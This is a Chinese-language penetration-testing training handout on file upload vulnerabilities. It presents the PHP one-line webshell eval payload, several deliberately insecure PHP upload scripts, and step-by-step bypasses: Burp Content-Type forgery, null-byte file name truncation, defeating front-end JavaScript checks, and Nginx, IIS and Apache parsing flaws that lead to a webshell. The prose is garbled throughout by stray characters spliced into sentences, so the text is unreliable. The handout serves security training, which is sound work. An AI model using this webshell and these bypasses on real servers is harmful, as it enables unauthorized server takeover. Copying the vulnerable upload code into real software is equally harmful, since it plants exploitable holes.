米斯特白帽培訓(xùn)講義 漏洞篇 文件上傳
講師:gh0stkey
整理:飛龍
協(xié)議:CC BY-NC-SA 4.0
我們首先看一下文件上傳的流程圖巷折。
其中赁濒,瀏覽器通過上傳頁面將文件儲存到服務(wù)器中吨艇。一般這些上傳頁面都會有限制(比如限制格式為jpg/gif/png
等等偿洁,或者限制文件大锌泊)湘今。
我們所關(guān)注的這個(gè)上傳頁面,一旦限制了文件就可能導(dǎo)致我們的滲透測試失敗唉窃。那么真的完全失敗了嗎耙饰?后面會講到很多方法,代碼本身我們突破不了纹份,但是我們可以用這些方法來繞過限制苟跪。
漏洞頁面大致分為兩種,一種是不限制任何格式蔓涧,隨意上傳件已,這種現(xiàn)在比較少了。另一種是限制Content-type
元暴,雖然它限制了文件類型篷扩,但我們就可以突破它。
一句話
我們利用文件上傳漏洞的目的是拿到 WebShell茉盏,也就是取得一定的服務(wù)器權(quán)限鉴未。一句話是指<?php @eval($_POST['a']) ?>
枢冤,其中$_POST
數(shù)組中的名稱通常叫做密碼,可以隨意更改铜秆。如果服務(wù)器存在含有這個(gè)代碼的腳本淹真,我們就可以訪問它,并傳入我們想要的代碼來執(zhí)行连茧。
一句話有很多優(yōu)點(diǎn)核蘸,首先,比起完整的木馬啸驯,它的特征比較少值纱,不容易被防火墻發(fā)現(xiàn)。其次坯汤,就算被發(fā)現(xiàn)虐唠,也可以輕易利用 PHP 的動(dòng)態(tài)特性,對其進(jìn)行混淆和變形惰聂。
通常我們使用菜刀這個(gè)工具來連接和管理 WebShell疆偿,詳細(xì)的使用方法見下面的實(shí)戰(zhàn)部分。
任意文件上傳
看一下這段代碼:
<form action="" method="POST" ENCTYPE="multipart/form-data">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo '上傳成功搓幌!';
else
echo '上傳失敻斯省!';
首先是一個(gè)文件上傳表單溉愁,我們可以看到表單中多了一個(gè)enctype
屬性处铛,是因?yàn)槲募蟼鞯母袷胶椭安灰粯樱患舆@個(gè)就無法識別了拐揭。
然后會檢查是否接受到了上傳文件撤蟆,沒有接收到就直接結(jié)束。之后會打印出文件信息堂污,便于我們調(diào)試家肯。之后將上傳文件的名稱和保存上傳文件的目錄拼接,將文件從臨時(shí)目錄移動(dòng)到這個(gè)目錄盟猖。最后輸出成功或失敗信息讨衣。
將其保存為upfile.php
后,我們首先訪問它并嘗試上傳一個(gè)文件式镐。我們把一句話<?php @eval($_POST['a']) ?>
寫入1.php
反镇,然后把它上傳到服務(wù)器。
于是我們看到上傳成功娘汞。
我們可以看到打印出的文件信息歹茶,其中:
-
userfile
是這個(gè)文件在數(shù)組中的索引,也是表單中的文件上傳輸入框的名稱。 -
name
是這個(gè)文件的文件名辆亏。 -
type
是這個(gè)文件的類型。 -
tmp_name
是這個(gè)文件的臨時(shí)完整路徑鳖目。 -
error
是錯(cuò)誤代碼扮叨。 -
size
是文件大小。
之后领迈,嘗試直接訪問所上傳的文件彻磁,發(fā)現(xiàn)訪問成功。
然后我們就可以拿菜刀連接了狸捅。
我們可以看到連接成功衷蜓,那么我們就成功地 GetShell 了。
文件類型限制
如果upfile.php
的內(nèi)容變成這樣:
<form action="" method="POST" enctype="multipart/form-data">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(@$_FILES['userfile']['type'] != "image/gif"){
echo "對不起尘喝,我們只允許上傳GIF格式的圖片!!";
exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上傳成功磁浇!";
else
echo "上傳失敗朽褪!";
這段代碼多出來的東西就是置吓,它首先驗(yàn)證了文件類型,如果是gif
則放過缔赠,不是則攔截衍锚。那么根據(jù)multipart
編碼類型,type
這個(gè)東西在瀏覽器生成之后嗤堰,是可以改的戴质。我們可以通過 Burp 攔截并修改這個(gè)值。
首先我們打開 Burp踢匣,配置代理告匠,訪問upfile.php
。之后開啟攔截模式并上傳一個(gè)文件:
我們攔截之后离唬,找到Content-Type
凫海,發(fā)現(xiàn)他是application/oct-stream
,我們把它改成image/gif
男娄,之后放行(可能需要多次行贪,在我這里是這樣)。
然后我們可以看到上傳成功模闲,上傳目錄中出現(xiàn)了我們上傳的文件建瘫。
文件擴(kuò)展名限制(補(bǔ)充)
現(xiàn)在,我們把upfile.php
改成這樣:
<form action="" method="POST" enctype="multipart/form-data">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<?php
function extname($s) {
$p = strrpos($s, '.');
if($p === false)
return '';
else
return substr($s, $p + 1);
}
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
if(extname(@$_FILES['userfile']['name']) != 'gif'){
echo "對不起尸折,我們只允許上傳GIF格式的圖片!!";
exit;
}
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上傳成功啰脚!";
else
echo "上傳失敗!";
我們看到之前的文件類型校驗(yàn)變成了后綴名校驗(yàn)橄浓。那么如何繞過呢粒梦?其實(shí),很多服務(wù)器都可以使用 00 截?cái)鄟砝@過荸实。原理是這樣匀们,操作系統(tǒng)不允許文件中存在空字符('\0'
),所以保存文件時(shí)會發(fā)生截?cái)嘧几槐A艨兆址懊娴臇|西作為文件名泄朴。但是后端程序中是可以處理空字符的。例如露氮,我們?nèi)绻盐募某?code>1.php\0.jpg祖灰,那么在程序中,它的擴(kuò)展名為jpg
畔规,但是保存之后局扶,文件名為1.php
,從而達(dá)到繞過的目的叁扫。
Burp 的實(shí)際操作實(shí)際上非常簡單详民。我們點(diǎn)擊Intercept is on
,關(guān)閉攔截模式陌兑,然后提交文件后沈跨,點(diǎn)擊Proxy
選項(xiàng)卡,可以找到之前的請求:
然后我們右鍵點(diǎn)擊該請求兔综,然后點(diǎn)擊Send to Repeater
:
可以在 Repeater 中找到我們的請求饿凛。
我們在上圖的1.php
后面添加.gif
,然后點(diǎn)擊上面的hex
選項(xiàng)卡软驰。找到剛剛添加的.gif
涧窒。
鼠標(biāo)拖動(dòng)出來的區(qū)域就是.gif
,最前面那個(gè).
的十六進(jìn)制是2e
锭亏,我們在它上面點(diǎn)擊右鍵纠吴。
我們點(diǎn)擊insert byte
,之后2e
的格子之前就會出現(xiàn)一個(gè)00
的格子慧瘤。
這樣就滿足了我們的要求戴已,我們可以點(diǎn)擊上面的go
來發(fā)送請求。這個(gè)技巧并不對所有服務(wù)器都管用锅减,但是值得一試糖儡。
前端 JS 驗(yàn)證繞過
如果upfile.php
變成了這樣:
<form action="" method="POST" enctype="multipart/form-data" name="fileform">
點(diǎn)這里上傳文件:
<input type="file" name="userfile">
<input type="submit" value="提交">
</form>
<script>
function checkFile(e) {
var file = document.forms.fileform.userfile.value;
if(!file.endsWith('.gif')) {
alert('對不起,我們只允許上傳GIF格式的圖片!!');
e.preventDefault();
}
}
document.addEventListener('DOMContentLoaded', function() {
document.forms.fileform.onsubmit = checkFile;
});
</script>
<?php
function extname($s) {
$p = strrpos($s, '.');
if($p === false)
return '';
else
return substr($s, $p + 1);
}
if(!isset($_FILES['userfile']))
exit;
echo "<pre>";
print_r($_FILES);
echo "</pre>";
$uploaddir='upfile/';
$PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
echo "上傳成功怔匣!";
else
echo "上傳失斘樟!";
我們可以看到,驗(yàn)證的代碼移到了前端金闽,之前我們說過纯露,前端的一切東西都是不安全的,可以繞過代芜。我們只需要首先上傳一張正常圖片埠褪,拿 Burp 抓到請求包,之后就跟“任意文件上傳”的原理一樣了蜒犯,想怎么改就怎么改。
這里面要注意荞膘,如果你在前端看到了文件校驗(yàn)罚随,那么程序員很可能由于偷懶而沒有在后端添加校驗(yàn)。這是一個(gè)非常顯眼的漏洞標(biāo)志羽资。
Nginx 解析漏洞
如果服務(wù)器是 Nginx淘菩,我們可以直接上傳圖片格式,利用解析漏洞拿 Webshell屠升。漏洞成因是潮改,由于 Nginx 部分版本程序自身的漏洞,導(dǎo)致可以解析并執(zhí)行非腳本文件腹暖。
假設(shè)存在漏洞的站點(diǎn)上有一張圖片汇在,URL 地址為:
www.xxx.com/logo.jpg
我們正常訪問時(shí),Nginx 會把它當(dāng)做非腳本脏答,直接讀取并傳給客戶端糕殉。但是如果我們這樣訪問:
www.xxx.com/logo.jpg/a.php
他就會把logo.jpg
當(dāng)做 PHP 文件來執(zhí)行≈掣妫或者是
www.xxx.com/logo.jpg%00.php
也會導(dǎo)致圖片執(zhí)行阿蝶,這個(gè)是 7 月中旬爆出的解析漏洞。
要利用這個(gè)漏洞黄绩,我們可以隨便找一張圖片羡洁,在里面插入一句話:
我們將其上傳之后,訪問圖片的 URL爽丹,確認(rèn)上傳成功筑煮。
然后我們利用該解析漏洞構(gòu)造 URL,發(fā)現(xiàn)也能夠成功訪問粤蝎,也能拿菜刀來連接咆瘟。
IIS 解析漏洞
IIS 5.x/6.0 主要存在兩個(gè)解析漏洞,第一個(gè)是目錄解析:
/a.asp/b.jpg
其中a.asp
是目錄诽里,b.jpg
是真實(shí)存在的文件袒餐,那么b.jpg
會當(dāng)做asp
文件來執(zhí)行。這個(gè)漏洞需要我們能夠創(chuàng)建目錄。
第二個(gè)是文件解析灸眼,也就是分號截?cái)啵?/p>
a.asp;.jpg
這個(gè)文件的擴(kuò)展名在上傳時(shí)是jpg
卧檐,但是上傳之后,IIS 會把它當(dāng)做asp
文件來解析焰宣。
另外霉囚,在IIS 中,可執(zhí)行腳本的擴(kuò)展名除了asp
之外匕积,還有asa
盈罐、cdx
、cer
闪唆。許多網(wǎng)站往往就過濾不全盅粪,一定要重視!悄蕾!
Apache 解析漏洞
Apache 的解析漏洞比較有意思票顾,它從右到左解析擴(kuò)展名,如果碰到不認(rèn)識的擴(kuò)展名帆调,則繼續(xù)往下解析奠骄。比如我們上傳a.php.owf.rar
,它按照rar owf php
的順序解析擴(kuò)展名番刊,但是他不認(rèn)識后面兩個(gè)含鳞,所以只能將其解析為php
,但在程序中芹务,文件的擴(kuò)展名一直是rar
民晒。
這里的關(guān)鍵在于,如果 Apache 不認(rèn)識某個(gè)擴(kuò)展名锄禽,但是程序中沒有過濾(比如rar
)潜必,我們就可以將1.php
改成1.php.rar
,上傳之后直接訪問它沃但。因此磁滚,我們需要對照程序中允許的擴(kuò)展名,以及 Apache 不認(rèn)識的擴(kuò)展名宵晚,一個(gè)一個(gè)嘗試垂攘。新的擴(kuò)展名會越來越多,程序由于自身需要會對其放行淤刃,但是只要 Apache 不改變其解析規(guī)則晒他,這個(gè)漏洞就會繼續(xù)生效。